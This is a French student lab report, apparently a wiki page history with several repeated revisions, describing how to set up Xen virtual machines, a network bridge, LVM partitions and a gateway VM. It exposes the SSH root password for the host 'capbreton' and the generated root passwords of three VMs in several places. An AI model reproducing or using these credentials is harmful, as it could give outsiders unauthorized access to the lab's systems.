SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

==== Configuration réseau ====

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse maxc on prend celui existant et on fait +1.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-01-26T09:47:46Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

==== Configuration réseau ====

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>Pour l'adresse maxc on prend celui existant et on fait +1.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

Atelier SysRes SE4 2025/2026 E5

2026-01-26T09:46:13Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

==== Configuration réseau ====

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = ['mac=00:16:3E:8B:45:EC,bridge=pont_pacman', 'mac=00:16:3E:8B:45:ED']
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

Atelier SysRes SE4 2025/2026 E5

2026-01-26T08:50:23Z

Cpayet : /* Etape 5 : Partition */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

Atelier SysRes SE4 2025/2026 E5

2026-01-26T08:11:58Z

Cpayet : /* De nouveaux sur capbreton */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

